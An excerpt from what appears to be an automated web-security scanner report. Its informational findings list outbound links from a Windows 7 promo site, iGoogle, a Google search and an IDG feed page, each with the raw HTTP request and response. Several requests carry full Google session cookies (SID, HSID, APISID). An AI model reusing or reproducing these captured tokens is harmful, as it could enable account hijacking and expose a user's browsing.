                           <a target="_blank" href="http://www.samsung.com/cn/consumer/computers-office/ultra-mobile-pc/fashion-essential/NP-Q460-JS05CN/index.idx?pagetype=prd_detail&subsubtype=q-series" title="......" onclick="var i=new Image(1,1);i.src='http://e.miaozhen.com/r.gif?'+Math.random()+'^k=2039^p=DUd0'; ii=new Image(1,1);ii.src='http://e.miaozhen.com/e.gif?'+Math.random()+'^n=3988^ae=1142';ClickEvent('BUT_Buy_samsung');" class="topimages"></a>
...[SNIP]...
<div id="purleft">
<a href="http://www.sonystyle.com.cn/products/vaio/sd2.htm" target="_blank" onclick="var i=new Image(1,1);i.src='http://e.miaozhen.com/r.gif?'+Math.random()+'^k=2039^p=DNX0'; ii=new Image(1,1);ii.src='http://e.miaozhen.com/e.gif?'+Math.random()+'^n=3967^ae=1142';ClickEvent('BUT_Buy_Left_Sony');">
   <img src="banners/banner_sony_20110825.jpg" width="544" height="248" alt="Sony" title="Sony"/>
...[SNIP]...
</a>
<a href="http://h20426.www2.hp.com/campaign/g/cn/zh/index.html#/home" class="banner_first" target="_blank" onclick="var i=new Image(1,1);i.src='http://e.miaozhen.com/r.gif?'+Math.random()+'^k=2039^p=DNY0'; ii=new Image(1,1);ii.src='http://e.miaozhen.com/e.gif?'+Math.random()+'^n=3968^ae=1142';ClickEvent('BUT_Buy_Left_HP');">
   <img src="banners/banner_hp2011.jpg" width="548" height="252" alt="HP" title="HP"/>
...[SNIP]...
</a>
<a href="http://pc.toshiba.com.cn/product/l700/Satellite_L700_intro.jsp" target="_blank" onclick="var i=new Image(1,1);i.src='http://e.miaozhen.com/r.gif?'+Math.random()+'^k=2039^p=DNW0'; ii=new Image(1,1);ii.src='http://e.miaozhen.com/e.gif?'+Math.random()+'^n=3966^ae=1142';ClickEvent('BUT_Buy_Left_Toshiba');">
   <img src="banners/banner_toshiba_hd.jpg" width="544" height="248" target="_blank" alt="Toshiba" title="Toshiba"/>
...[SNIP]...
</h3>

<a id="pad01" href="http://ilike.360buy.com/ilike/s32telcc1mc3p93q.html" target="_blank" title="............" onclick="var i=new Image(1,1);i.src='http://e.miaozhen.com/r.gif?'+Math.random()+'^k=2039^p=DNa0'; ii=new Image(1,1);ii.src='http://e.miaozhen.com/e.gif?'+Math.random()+'^n=3970^ae=1142';ClickEvent('BUT_Buy_Right_Win7');">............</a>
<a id="pad02" href="http://www.mc2.com.cn/NewsCenter.aspx?NewsID=536" target="_blank" title="......" onclick="var i=new Image(1,1);i.src='http://e.miaozhen.com/r.gif?'+Math.random()+'^k=2039^p=DNb0'; ii=new Image(1,1);ii.src='http://e.miaozhen.com/e.gif?'+Math.random()+'^n=3971^ae=1142';ClickEvent('BUT_Buy_Right_WFSF');">......</a>
<a id="pad03" href="http://www.sundan.com/page-%E5%BE%AE%E8%BD%AFTouch+Mouse.html" target="_blank" title="......" onclick="var i=new Image(1,1);i.src='http://e.miaozhen.com/r.gif?'+Math.random()+'^k=2039^p=DNc0'; ii=new Image(1,1);ii.src='http://e.miaozhen.com/e.gif?'+Math.random()+'^n=3972^ae=1142';ClickEvent('BUT_Buy_Right_Upgra');"></a>
<a id="pad04" href="http://www.microsoft.com/china/windows/buy/retail.aspx" target="_blank" title="Windows 7 .................." onclick="var i=new Image(1,1);i.src='http://e.miaozhen.com/r.gif?'+Math.random()+'^k=2039^p=DNZ0'; ii=new Image(1,1);ii.src='http://e.miaozhen.com/e.gif?'+Math.random()+'^n=3969^ae=1142';ClickEvent('BUT_Buy_Right_WOL');">Windows 7 ..................</a>
...[SNIP]...
<div id="mshelp"><a href="http://support.microsoft.com/ph/14019/zh-cn#tab0" target="_blank">..................</a>
...[SNIP]...
<div id="footer_nav">
© 2011 Microsoft <a href="http://www.microsoft.com/About/Legal/EN/US/IntellectualProperty/Copyright/default.aspx"target="_blank">............</a> |
<a href="http://windows.microsoft.com/zh-CN/windows7/disclaimer"target="_blank">Windows 7 ............</a> | <a href="http://www.microsoft.com/library/toolbar/3.0/trademarks/zh-cn.mspx"target="_blank">......</a> | <a href="http://privacy.microsoft.com/zh-cn/default.aspx"target="_blank">............</a>
...[SNIP]...

12.27. http://www.genuinewin7.com/safety.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.genuinewin7.com
Path:	/safety.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.genuinewin7.com/safety.aspx?WT.page_from=nav

The response contains the following links to other domains:

http://privacy.microsoft.com/zh-cn/default.aspx
http://support.microsoft.com/ph/14019/zh-cn
http://windows.microsoft.com/zh-CN/internet-explorer/products/ie/home
http://windows.microsoft.com/zh-CN/windows7/disclaimer
http://windows.microsoft.com/zh-CN/windows7/help/upgrade-center
http://windows.microsoft.com/zh-CN/windows7/products/features/backup-and-restore
http://windows.microsoft.com/zh-CN/windows7/products/features/parental-controls
http://windows.microsoft.com/zh-CN/windows7/products/features/user-account-control
http://windows.microsoft.com/zh-CN/windows7/products/features/windows-defender
http://windows.microsoft.com/zh-CN/windows7/products/features/windows-firewall
http://windows.microsoft.com/zh-CN/windows7/products/home
http://windows.microsoft.com/zh-CN/windows7/what-is-microsoft-security-essentials
http://www.microsoft.com/About/Legal/EN/US/IntellectualProperty/Copyright/default.aspx
http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200019532&CR_EAC=300009712
http://www.microsoft.com/library/toolbar/3.0/trademarks/zh-cn.mspx

Request

GET /safety.aspx?WT.page_from=nav HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/
Cookie: uid=56999891_1316636622599; ctpath=; referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; campaignid=369; WT_FPC=id=27aab3ee2244904c44a1316683422666:lv=1316683434805:ss=1316683422666; WT_NVR=0=/

Response

HTTP/1.1 200 OK
Date: Wed, 21 Sep 2011 15:35:09 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
P3P: CP=CAO PSA OUR
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 20002

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<div id="mslogo_top">
<a href="http://windows.microsoft.com/zh-CN/windows7/products/home" target="_bank"><img src="images/index_logo.png" width="96" height="53" class="fixpng"/>
...[SNIP]...
</a> | <a href="http://windows.microsoft.com/zh-CN/windows7/help/upgrade-center" target="_blank">............</a>
...[SNIP]...
</a> | <a href="http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200019532&CR_EAC=300009712" target="_blank">...... Windows ...............</a>
...[SNIP]...
<dd>
<a onclick="BUT_Safety_Video1" href="http://windows.microsoft.com/zh-CN/windows7/products/features/backup-and-restore" target="_blank"><img src="images/windows7-safety_01.jpg" width="197" height="127" title="..............." alt="..............." />
...[SNIP]...
<dd>
<a onclick="ClickEvent('BUT_Safety_Video2');" href="http://windows.microsoft.com/zh-CN/internet-explorer/products/ie/home" target="_blank"><img src="images/windows7-safety_02.jpg" width="197" height="127" title="Internet Explorer 9" alt="Internet Explorer 9" />
...[SNIP]...
<dd>
<a onclick="ClickEvent('BUT_Safety_Video3');" href="http://windows.microsoft.com/zh-CN/windows7/what-is-microsoft-security-essentials" target="_blank"><img src="images/windows7-safety_03.jpg" width="197" height="127" title="Microsoft Security Essentials" alt="Microsoft Security Essentials" />
...[SNIP]...
<dd>
<a onclick="ClickEvent('BUT_Safety_Video4');" href="http://windows.microsoft.com/zh-CN/windows7/products/features/user-account-control" target="_blank"><img src="images/windows7-safety_04.jpg" width="197" height="127" title=".................." alt=".................." />
...[SNIP]...
<dd>
<a onclick="ClickEvent('BUT_Safety_Video5');" href="http://windows.microsoft.com/zh-CN/windows7/products/features/windows-defender" target="_blank"><img src="images/windows7-safety_05.jpg" width="197" height="127" title="Windows Defender" alt="Windows Defender" />
...[SNIP]...
<dd>
<a onclick="ClickEvent('BUT_Safety_Video6');" href="http://windows.microsoft.com/zh-CN/windows7/products/features/windows-firewall" target="_blank"><img src="images/windows7-safety_06.jpg" width="197" height="127" title="Windows ........." alt="Windows ........." />
...[SNIP]...
<dd>
<a onclick="ClickEvent('BUT_Safety_Video7');" href="http://windows.microsoft.com/zh-CN/windows7/products/features/parental-controls" target="_blank"><img src="images/windows7-safety_07.jpg" width="197" height="127" title="............" alt="............" />
...[SNIP]...
<div id="mshelp"><a href="http://support.microsoft.com/ph/14019/zh-cn#tab0" target="_blank">..................</a>
...[SNIP]...
<div id="footer_nav">
© 2011 Microsoft <a href="http://www.microsoft.com/About/Legal/EN/US/IntellectualProperty/Copyright/default.aspx"target="_blank">............</a> |
<a href="http://windows.microsoft.com/zh-CN/windows7/disclaimer"target="_blank">Windows 7 ............</a> | <a href="http://www.microsoft.com/library/toolbar/3.0/trademarks/zh-cn.mspx"target="_blank">......</a> | <a href="http://privacy.microsoft.com/zh-cn/default.aspx"target="_blank">............</a>
...[SNIP]...

12.28. http://www.google.com/ig/adde previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/ig/adde

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/ig/adde?source=atgs&moduleurl=www.twittergadget.com/gadget.xml

The response contains the following links to other domains:

http://g0.gstatic.com/ig/images/igoogle_logo_sm.png
http://www.gmodules.com/gadgets/proxy?refresh=86400&url=http://www.twittergadget.com/images/twittergadget2.jpg&container=ig&gadget=http://www.twittergadget.com/gadget.xml
http://www.google-analytics.com/ga.js
http://www.google-analytics.com/urchin.js

Request

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Mon, 19 Sep 2011 15:17:32 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
X-Frame-Options: SAMEORIGIN
Set-Cookie: SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRj1buM1zXYdA__ObwXN6Zox83Kf4GNWqH6qas0qPeAB00qJcw0meCkjsjCGz1Y9q3pSa8wU8JCZVNu2hQ_P3JBAZIKe_vL1kI8ivKI0EBZrJwd7SdpT5SyEnyifwn5V7Z5-eQ7LWY9dOViPKaZS5F2FAcrTpgpf4IG7TaFvqlWrJfje2n2ghItZiMTQVAt_WEQbjpNBbQBYpeibdna7wvB9PFd5o-APnF7bvaxVCvq84_XuLsMgTkjCTrfbP8kMh_y_BEkuAcvmORNAKwcQajouJ2tnIrItCear0eiYl5jZqE; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?answer=151657 for more info."
X-Content-Type-Options: nosniff
Server: igfe
Content-Length: 8037
X-XSS-Protection: 1; mode=block

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>iGoogle: Get TwitterGad
...[SNIP]...
<a href="/ig" linkindex="0"><img alt="iGoogle" src="//g0.gstatic.com/ig/images/igoogle_logo_sm.png" /></a>
...[SNIP]...
<span class="img-side"><img class="img-gadget"alt="TwitterGadget" src="http://www.gmodules.com/gadgets/proxy?refresh=86400&url=http://www.twittergadget.com/images/twittergadget2.jpg&container=ig&gadget=http://www.twittergadget.com/gadget.xml" /><input type="hidden" name="n_32" value="url=http%3A//www.twittergadget.com/gadget.xml"/>
...[SNIP]...
<br /><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
</div><script src="http://www.google-analytics.com/ga.js"> >
...[SNIP]...

12.29. http://www.google.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/search

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/search?gcx=w&sourceid=chrome&ie=UTF-8&q=coastal+dental+care

The response contains the following links to other domains:

http://orangecounty.citysearch.com/profile/680135/placentia_ca/coastal_dental_care_placentia.html
http://webcache.googleusercontent.com/search?q=cache:6YSnJsRjCNkJ:www.coastdental.com/+coastal+dental+care&cd=4&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:KVI3SRoRt1QJ:www.westcoastdental.com/+coastal+dental+care&cd=19&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:LokEgBD8WJ8J:www.coastdental.com/about-us/+coastal+dental+care&cd=5&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:SklbrFgBNtsJ:www.yelp.com/biz/coastal-dental-care-anaheim+coastal+dental+care&cd=15&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:_Tu7rRr4FuEJ:www.coastaldentalcare.com/+coastal+dental+care&cd=1&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:dQQ-Jr9NnfgJ:www.coastdental.com/patient-services/+coastal+dental+care&cd=6&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:i4qHsxzyy90J:orangecounty.citysearch.com/profile/680135/placentia_ca/coastal_dental_care_placentia.html+coastal+dental+care&cd=14&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:lh_71P899EwJ:www.2uth.net/+coastal+dental+care&cd=18&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:w6VDbOg29_gJ:www.coastdental.net/+coastal+dental+care&cd=17&hl=en&ct=clnk&gl=us
http://www.2uth.net/
http://www.coastaldentalcare.com/
http://www.coastaldentalcare.com/ContactUs.aspx
http://www.coastaldentalcare.com/OurPractice.aspx
http://www.coastdental.com/
http://www.coastdental.com/about-us/
http://www.coastdental.com/careers/
http://www.coastdental.com/contact-us/
http://www.coastdental.com/locations/
http://www.coastdental.com/patient-services/
http://www.coastdental.com/special-offers/
http://www.coastdental.net/
http://www.dentalsenders.com/MicroSite/b332181aeb/CoastalDentalCare-GG./
http://www.dentalsenders.com/MicroSite/fd32772df5/CoastalDentalCare/
http://www.westcoastdental.com/
http://www.yelp.com/biz/coastal-dental-care-anaheim
http://www.youtube.com/results?gcx=w&q=coastal+dental+care&um=1&ie=UTF-8&sa=N&hl=en&tab=w1
http://yellowpages.washingtonpost.com/coastal+dental+care+pc.9.3173193p.home.html

Request

GET /search?gcx=w&sourceid=chrome&ie=UTF-8&q=coastal+dental+care HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; NID=51=mIeAi_BJiW80o5-UkWcKjFthqIayl4ofwCkkr5tCLyeEVJT5ggTfhss2g11zdOuIt-Hv9il_Hia-F6KLtiAoqwnGANxD2SU6BtvNGiXQ0002QmWyW7uUzO1rQ_23mKUx; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjPyFqRf-B0ODOWTiDE99xOOc8RvdQGibPMhmcP610qN-DHB8k6z8ZKlplWLUKEP3dWEI72OUKY84U0zjZ2dOwJHOZWczA6xdlkRwrrTGTkQ6ClNLTQ4ONOC9gLOWYQ5zR2CljOq1RO-s4LLdPs6xoVlnnO6qY1kM7iyGUBole70mO999gxJRMDD84aZSLhlXLa_TFwj4UOugh1muMR40AyHJcRNGXDTOXCL27QwmaPSWsRZbzw7pybi4zMXxNEJkaJnnPm7S6PNHhmHFQ58RIqky0TX53BbS_4Obo4j-cWcY

Response

HTTP/1.1 200 OK
Date: Tue, 20 Sep 2011 11:48:27 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Get-Dictionary: /sdch/sXoKgwNA.dct
Server: gws
X-XSS-Protection: 1; mode=block
Content-Length: 138358

<!doctype html> <head> <title>coastal dental care - Google Search</title> <script>window.google={kEI:"i314Tu_mLIbEsQKD1dW4DQ",getEI:function(a){var b;while(a&&!(a.getAttribute&&(b=a.getAttribut
...[SNIP]...
<li class=gbmtc><a onclick=gbar.qs(this) class=gbmt id=gb_36 href="http://www.youtube.com/results?gcx=w&q=coastal+dental+care&um=1&ie=UTF-8&sa=N&hl=en&tab=w1" onclick="gbar.logger.il(1,{t:36})">YouTube</a>
...[SNIP]...
<h3 class="r"><a href="http://www.coastaldentalcare.com/" class=l onmousedown="return clk(this,this.href,'','','','1','','0CFkQFjAA')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:_Tu7rRr4FuEJ:www.coastaldentalcare.com/+coastal+dental+care&cd=1&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','1','','0CFwQIDAA')">Cached</a>
...[SNIP]...
<h3 class=r style="display:inline"><a href="http://www.coastaldentalcare.com/OurPractice.aspx" class=l onmousedown="return clk(this,this.href,'','','','2','','0CGEQjBAwAQ')">Our Practice</a>
...[SNIP]...
<h3 class=r style="display:inline"><a href="http://www.coastaldentalcare.com/ContactUs.aspx" class=l onmousedown="return clk(this,this.href,'','','','3','','0CGYQjBAwAg')">Contact Us</a>
...[SNIP]...
<h3 class="r"><a href="http://www.coastdental.com/" class=l onmousedown="return clk(this,this.href,'','','','4','','0CG4QFjAD')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:6YSnJsRjCNkJ:www.coastdental.com/+coastal+dental+care&cd=4&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','4','','0CHEQIDAD')">Cached</a>
...[SNIP]...
<div class=osl><a href="http://www.coastdental.com/locations/" onmousedown="return clk(this,this.href,'','','','4','','0CHMQ0gIoADAD')">Locations</a> - <a href="http://www.coastdental.com/careers/" onmousedown="return clk(this,this.href,'','','','4','','0CHQQ0gIoATAD')">Careers</a> - <a href="http://www.coastdental.com/contact-us/" onmousedown="return clk(this,this.href,'','','','4','','0CHUQ0gIoAjAD')">Contact Us</a> - <a href="http://www.coastdental.com/special-offers/" onmousedown="return clk(this,this.href,'','','','4','','0CHYQ0gIoAzAD')">Special Offers</a>
...[SNIP]...
<h3 class="r"><a href="http://www.coastdental.com/about-us/" class=l onmousedown="return clk(this,this.href,'','','','5','','0CHsQFjAE')">About <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:LokEgBD8WJ8J:www.coastdental.com/about-us/+coastal+dental+care&cd=5&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','5','','0CH4QIDAE')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.coastdental.com/patient-services/" class=l onmousedown="return clk(this,this.href,'','','','6','','0CIIBEBYwBQ')">Comprehensive Family Dentistry - <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:dQQ-Jr9NnfgJ:www.coastdental.com/patient-services/+coastal+dental+care&cd=6&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','6','','0CIUBECAwBQ')">Cached</a>
...[SNIP]...
<span style="padding:10;width:24px;height:38px"><a href="http://www.coastaldentalcare.com/" class=l onmousedown="return clk(this,this.href,'','','','7','','0CIsBEKACMAY')" style="border:none;display:block;overflow:hidden;width:19px;height:35px"><span style="background:url('/images/red_icons_sm_A_J_dot.png') no-repeat;background-position:0 -35px;display:block;height:35px;width:19px">
...[SNIP]...
<h4 class=r><a href="http://www.coastaldentalcare.com/" class=l onmousedown="return clk(this,this.href,'','','','7','','0CIsBEKACMAY')"><em>
...[SNIP]...
<span style="padding:10;width:24px;height:38px"><a href="http://www.coastaldentalcare.com/" class=l onmousedown="return clk(this,this.href,'','','','8','','0CJMBEKACMAc')" style="border:none;display:block;overflow:hidden;width:19px;height:35px"><span style="background:url('/images/red_icons_sm_A_J_dot.png') no-repeat;background-position:0 -70px;display:block;height:35px;width:19px">
...[SNIP]...
<h4 class=r><a href="http://www.coastaldentalcare.com/" class=l onmousedown="return clk(this,this.href,'','','','8','','0CJMBEKACMAc')"><em>
...[SNIP]...
<span style="padding:10;width:24px;height:38px"><a href="http://www.dentalsenders.com/MicroSite/fd32772df5/CoastalDentalCare/" class=l onmousedown="return clk(this,this.href,'','','','9','','0CJsBEKACMAg')" style="border:none;display:block;overflow:hidden;width:19px;height:35px"><span style="background:url('/images/red_icons_sm_A_J_dot.png') no-repeat;background-position:0 -105px;display:block;height:35px;width:19px">
...[SNIP]...
<h4 class=r><a href="http://www.dentalsenders.com/MicroSite/fd32772df5/CoastalDentalCare/" class=l onmousedown="return clk(this,this.href,'','','','9','','0CJsBEKACMAg')"><em>
...[SNIP]...
<span style="padding:10;width:24px;height:38px"><a href="http://www.dentalsenders.com/MicroSite/b332181aeb/CoastalDentalCare-GG./" class=l onmousedown="return clk(this,this.href,'','','','10','','0CKQBEKACMAk')" style="border:none;display:block;overflow:hidden;width:19px;height:35px"><span style="background:url('/images/red_icons_sm_A_J_dot.png') no-repeat;background-position:0 -140px;display:block;height:35px;width:19px">
...[SNIP]...
<h4 class=r><a href="http://www.dentalsenders.com/MicroSite/b332181aeb/CoastalDentalCare-GG./" class=l onmousedown="return clk(this,this.href,'','','','10','','0CKQBEKACMAk')"><em>
...[SNIP]...
<span style="padding:10;width:24px;height:38px"><a href="http://www.coastaldentalcare.com/" class=l onmousedown="return clk(this,this.href,'','','','13','','0CLwBEKACMAw')" style="border:none;display:block;overflow:hidden;width:19px;height:35px"><span style="background:url('/images/red_icons_sm_A_J_dot.png') no-repeat;background-position:0 -245px;display:block;height:35px;width:19px">
...[SNIP]...
<h4 class=r><a href="http://www.coastaldentalcare.com/" class=l onmousedown="return clk(this,this.href,'','','','13','','0CLwBEKACMAw')"><em>
...[SNIP]...
<h3 class="r"><a href="http://orangecounty.citysearch.com/profile/680135/placentia_ca/coastal_dental_care_placentia.html" class=l onmousedown="return clk(this,this.href,'','','','14','','0CMcBEBYwDQ')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:i4qHsxzyy90J:orangecounty.citysearch.com/profile/680135/placentia_ca/coastal_dental_care_placentia.html+coastal+dental+care&cd=14&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','14','','0CM0BECAwDQ')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.yelp.com/biz/coastal-dental-care-anaheim" class=l onmousedown="return clk(this,this.href,'','','','15','','0CNIBEBYwDg')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:SklbrFgBNtsJ:www.yelp.com/biz/coastal-dental-care-anaheim+coastal+dental+care&cd=15&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','15','','0CNkBECAwDg')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://yellowpages.washingtonpost.com/coastal+dental+care+pc.9.3173193p.home.html" class=l onmousedown="return clk(this,this.href,'','','','16','','0CN4BEBYwDw')"><em>
...[SNIP]...
<h3 class="r"><a href="http://www.coastdental.net/" class=l onmousedown="return clk(this,this.href,'','','','17','','0COQBEBYwEA')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:w6VDbOg29_gJ:www.coastdental.net/+coastal+dental+care&cd=17&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','17','','0COcBECAwEA')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.2uth.net/" class=l onmousedown="return clk(this,this.href,'','','','18','','0COwBEBYwEQ')">San Diego Dentist - <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:lh_71P899EwJ:www.2uth.net/+coastal+dental+care&cd=18&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','18','','0CO8BECAwEQ')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.westcoastdental.com/" class=l onmousedown="return clk(this,this.href,'','','','19','','0CPQBEBYwEg')">2009 West <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:KVI3SRoRt1QJ:www.westcoastdental.com/+coastal+dental+care&cd=19&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','19','','0CPcBECAwEg')">Cached</a>
...[SNIP]...

12.30. http://www.google.com/url previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/url

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/url?sa=t&source=web&cd=1&ved=0CDkQFjAA&url=http%3A%2F%2Fwww.coastaldentalcare.com%2F&ei=mH14TuyeKKqHsAK885zYDQ&usg=AFQjCNELFvAiVZL5qQK3vtM2tHw0s7FTSg

The response contains the following link to another domain:

http://www.coastaldentalcare.com/

Request

GET /url?sa=t&source=web&cd=1&ved=0CDkQFjAA&url=http%3A%2F%2Fwww.coastaldentalcare.com%2F&ei=mH14TuyeKKqHsAK885zYDQ&usg=AFQjCNELFvAiVZL5qQK3vtM2tHw0s7FTSg HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.google.com/search?gcx=w&sourceid=chrome&ie=UTF-8&q=coastal+dental+care#sclient=psy-ab&hl=en&source=hp&q=coastal+dentalcare&pbx=1&oq=coastal+dentalcare&aq=f&aqi=&aql=&gs_sm=e&gs_upl=10136l10136l0l10780l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&fp=1aed890c2a32d146&biw=1097&bih=869
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjPyFqRf-B0ODOWTiDE99xOOc8RvdQGibPMhmcP610qN-DHB8k6z8ZKlplWLUKEP3dWEI72OUKY84U0zjZ2dOwJHOZWczA6xdlkRwrrTGTkQ6ClNLTQ4ONOC9gLOWYQ5zR2CljOq1RO-s4LLdPs6xoVlnnO6qY1kM7iyGUBole70mO999gxJRMDD84aZSLhlXLa_TFwj4UOugh1muMR40AyHJcRNGXDTOXCL27QwmaPSWsRZbzw7pybi4zMXxNEJkaJnnPm7S6PNHhmHFQ58RIqky0TX53BbS_4Obo4j-cWcY; NID=51=L8sLyGoN_NCfKmwbChYwx27i9PQpxs-tAtDUGzI6yMtp3sYbKLzndVF9mmvyOC96KGBr0BLYz4UhEg80r2vpTUpttHNX2UA0E-bhwXno_fMmQvsqypnRsizMHcEryCXH

Response

HTTP/1.1 302 Found
Location: http://www.coastaldentalcare.com/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Tue, 20 Sep 2011 11:48:55 GMT
Server: gws
Content-Length: 230
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.coastaldentalcare.com/">here</A>
...[SNIP]...

12.31. http://www.idg.com/idgnetrssfeeds.nsf/html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.idg.com
Path:	/idgnetrssfeeds.nsf/html

Issue detail

The page was loaded from a URL containing a query string:

http://www.idg.com/idgnetrssfeeds.nsf/html?openpage

The response contains the following links to other domains:

http://computerworld.co.nz/news.nsf/security/hackers-hit-japans-biggest-defense-contractor
http://computerworld.hu/google-veszely-20110919.html
http://feedproxy.google.com/~r/DigitalWorldTokyo/~3/9WxExI22ZHU/
http://feedproxy.google.com/~r/GameProNews/~3/8PxVnPC0M7E/
http://feedproxy.google.com/~r/cio/newsalerts/~3/ldbNpLxkBQs/Appcelerator_Opens_Mobile_Marketplace_for_Developers
http://feedproxy.google.com/~r/cso/news/~3/UCn0Zd6xeWo/blog_view.html
http://feedproxy.google.com/~r/idg/es/comunicacionesworld/~3/Vpa7zu4h_hc/story01.htm
http://feedproxy.google.com/~r/nwarss/~3/-prD2zTcN6E/unilever-shelf-availability-data-key-profit-growth
http://feeds.idg.se/~r/idg/ETkj/~3/UoJhfkAjxN4/ny-enkat-om-vara-ipadvanor
http://feeds.pcworld.com/click.phdo?i=38471db486fc5ceab218df54a5f523e7
